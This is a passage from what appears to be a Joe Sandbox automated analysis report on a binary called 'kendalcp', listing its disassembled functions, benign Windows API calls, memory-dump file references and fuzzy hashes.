Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7b2020ac159de01a5c76255953b7239c0b22d2507a2ad8c386b6bdbf38581ce8
Instruction ID: 79ffaf08015cadd31270e6f469a0e71a0d2b322593b305aa45c514113b4baffd
Opcode Fuzzy Hash: 7b2020ac159de01a5c76255953b7239c0b22d2507a2ad8c386b6bdbf38581ce8
Instruction Fuzzy Hash: 19E0E5215432319BEBB12A6BBC04B5A3BCC9F413B0F184310FC55A6082CF2EDC2085EB

Function 0070A4C6 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0070A4F5

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 451e09341c9823898f11ec92e98a7e654b487955d1d8a58c83d34ba5652f5058
Instruction ID: cc8267ab90758a9f1bfe3977bf58a2f5696eb95b87a3f3c837da1688f4f1479a
Opcode Fuzzy Hash: 451e09341c9823898f11ec92e98a7e654b487955d1d8a58c83d34ba5652f5058
Instruction Fuzzy Hash: B5F05E354097C0FACA225BB888087D6BBE5AF1A361F04CB49F1FD521D2C2BD64999723

Function 0071067C Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 007106B1

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 6c78d91119832dc8e41a060aabe490b8d8ada303d6dd3545b573c7e7ad85746b
Instruction ID: f4488d476c5b2a5350ecfee92a1e6bf13088fd631b202d9505e198a8a4a6e0a1
Opcode Fuzzy Hash: 6c78d91119832dc8e41a060aabe490b8d8ada303d6dd3545b573c7e7ad85746b
Instruction Fuzzy Hash: 76D0C224200150E9D725332CA81D7FE1A460FC2B11F090071B60D175C78B9E08DA42E2

Function 00719D7B Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00719D81

Part of subcall function 00719B0F: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00719B30

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
Instruction ID: b80d6f252372ebef132cb2dea88b78efd16794c6202d6281f4c65acbdc158aa4
Opcode Fuzzy Hash: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
Instruction Fuzzy Hash: A2D0A73071820CBADF40BB789C229FE7BA8EB00300F004025BD48861C1ED75DE91A261

Function 00709989 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00709887), ref: 00709995

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 19cd8d9084f0f78bb76e13563a40f2089e65c3435def8e177f10c65c37cc5e6b
Instruction ID: 09e50621646da37285fc76071cb613abe8494318f1cd88627ca4641596be8619
Opcode Fuzzy Hash: 19cd8d9084f0f78bb76e13563a40f2089e65c3435def8e177f10c65c37cc5e6b
Instruction Fuzzy Hash: 9FD01231131140E5CF3546384D090997792DBC3377B38C7A8D165C40E2D72BD803F581

Function 0071D41A Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 0071D43F

Part of subcall function 0071AC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0071AC85
Part of subcall function 0071AC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0071AC96
Part of subcall function 0071AC74: IsDialogMessageW.USER32(0001046C,?), ref: 0071ACAA
Part of subcall function 0071AC74: TranslateMessage.USER32(?), ref: 0071ACB8
Part of subcall function 0071AC74: DispatchMessageW.USER32(?), ref: 0071ACC2

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 41f24e7a82ccff8678c4c8025f02adc783e9c5900924d30e114c146b7845f27d
Instruction ID: 29b9b581b37b561089442e5eeaeff671c5ce26425455826faf63cc3cb8771dfb
Opcode Fuzzy Hash: 41f24e7a82ccff8678c4c8025f02adc783e9c5900924d30e114c146b7845f27d
Instruction Fuzzy Hash: 38D09E71144300FBD6152B51CE06F0F7AE6AB89B04F008A54B345740F286669D21AB1A

Function 0071D8F2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e8ef90b9aca438e93afc3d994a9be97125f3db68b1787b7e3017b9c642e45bb9
Instruction ID: 11365fd1f0eb3775cd05f792e52d52a32e9189918ca692b127da419a2f10b185
Opcode Fuzzy Hash: e8ef90b9aca438e93afc3d994a9be97125f3db68b1787b7e3017b9c642e45bb9
Instruction Fuzzy Hash: 13B012E137C401AC335C610C6D06D76021CC4C2B10330402AB54FD00C2E44C6F8B0C31

Function 0071D8FC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 11347aa5ca5e3b5bfac513c6a531eda300bb6492795e4657e6579ae722e8ab10
Instruction ID: 6d644bbb8c687229614c8d1d746003678159ee7c1eb65ead9fff0b89f474417f
Opcode Fuzzy Hash: 11347aa5ca5e3b5bfac513c6a531eda300bb6492795e4657e6579ae722e8ab10
Instruction Fuzzy Hash: 7CB012E137C401AC335C610D6C06D76021CC4C2B10330402AB54FD00C2E44C6E8A0C31

Function 0071D8E8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 671d6befddfa41c877b9dbaa5c601d26934e1a021a0102b6eedfd6f6bd2e88d2
Instruction ID: c854d6730a60d1c5b2bee206f16f13a4b755c7d8deed69c792c0d58a69e1f877
Opcode Fuzzy Hash: 671d6befddfa41c877b9dbaa5c601d26934e1a021a0102b6eedfd6f6bd2e88d2
Instruction Fuzzy Hash: 84B012E137C501AD339C610C6C06D76021CC4C2B10330412AB54FD00C2E44C6ECA0C71

Function 0071D8DE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4de99754b732f442b0e37a9cf99af7dddc90b5fd39e9d1a86fb77a8ef6eafb53
Instruction ID: 61ef6f4eb7e44f5faa9c16b3921a81f013a193af5c8e333b0775f99e4037d33f
Opcode Fuzzy Hash: 4de99754b732f442b0e37a9cf99af7dddc90b5fd39e9d1a86fb77a8ef6eafb53
Instruction Fuzzy Hash: 24B012E137C401AC335C610C6C06D76021CC4C3B10330802AB94FD00C2E44C6E8E0C31

Function 0071D8C0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3541c46e2d88393a0f60ab3b7c1f0f4ccb6e88c8985e49ac92af2d509c114f23
Instruction ID: a858c283336dc79a23dc8eed048686103228f67a72da991f72fac23d2c824459
Opcode Fuzzy Hash: 3541c46e2d88393a0f60ab3b7c1f0f4ccb6e88c8985e49ac92af2d509c114f23
Instruction Fuzzy Hash: 2EB012D137C501AD339C610C6C06D76021CC4C2B10330812AB54BE01C2D44C6DCB0C31

Function 0071D8CA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a975d25a35f4851f02cd61e96a6ca68c9c1009447fdd1f719d2aff4e4de52a3c
Instruction ID: 43d156261d558ee22106100bde4692ea23e7a98dfcfc9fe7c200af1e75efdf76
Opcode Fuzzy Hash: a975d25a35f4851f02cd61e96a6ca68c9c1009447fdd1f719d2aff4e4de52a3c
Instruction Fuzzy Hash: 61B012D137C401AC335C610C6D06D76021CC4C2B10330802AB54BE01C2D45C6E8F0C31

Function 0071D8B6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2365c62ce6fbb90a358ba5f86cb12bb4758f55928517270c54c52959ae53142b
Instruction ID: 2863eb86ef0bdec8abcf70df56f40552d9574eeafe5ea62fc0f82557fa5cb53f
Opcode Fuzzy Hash: 2365c62ce6fbb90a358ba5f86cb12bb4758f55928517270c54c52959ae53142b
Instruction Fuzzy Hash: 51B012D137C401AC335C610C6C06D76021CC4C3B10330C02AB94BE01C2D44C6D8B0C31

Function 0071D8AC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2eb0c619e65b722686e51f493ce96e8c0dc916b9676ce49d121b4feaffaa10e7
Instruction ID: f4d44032b31e6a6950b43cf1e54a8ed058bc5a10dd911b6aeceed9f86164d5b2
Opcode Fuzzy Hash: 2eb0c619e65b722686e51f493ce96e8c0dc916b9676ce49d121b4feaffaa10e7
Instruction Fuzzy Hash: 2BB012D537C505AC335C610C6C46D7B021CD4C2B10330402AB54BE00C2D44C6D860D31

Function 0071D891 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 49e4a49f35f1d6800694f78d5d95d9431ad792948f88adaca5e5115d31e4a345
Instruction ID: 7c41c2e6d998cf3732a31d40e6763f37b1fe82a8e3b109c4b97ac46481668c13
Opcode Fuzzy Hash: 49e4a49f35f1d6800694f78d5d95d9431ad792948f88adaca5e5115d31e4a345
Instruction Fuzzy Hash: C8B0929526C601AD335C2108685687A021CC4C2B10320452AB54AA00C294486D8A4831

Function 0071D942 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 34c96f9ee54317d4b1c171856ec10798ecc65f722755e94fe0d4544974e8afad
Instruction ID: ea2f1970d4cec57bccd2653b845e671dde358a688f1c3798e5d0153c606b109a
Opcode Fuzzy Hash: 34c96f9ee54317d4b1c171856ec10798ecc65f722755e94fe0d4544974e8afad
Instruction Fuzzy Hash: 72B012E137D401EC335C610C6D06D76029CC4C2B10730402AB54BD00C2D44C6EC70C31

Function 0071D924 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a0eab7acc3c2c9d8caba008bbc69716fe4ed325cea19428815bff8096c4c5299
Instruction ID: 9120beaa3ffaea0b820cc8b2fc0282a4b2a9dca98b18601f15b2990c452fe88e
Opcode Fuzzy Hash: a0eab7acc3c2c9d8caba008bbc69716fe4ed325cea19428815bff8096c4c5299
Instruction Fuzzy Hash: 45B012D137D401AC335C610CAC06D76025EC9C2B10730402AB54BD00C2D44C6D860C31

Function 0071D92E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071D8A3

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
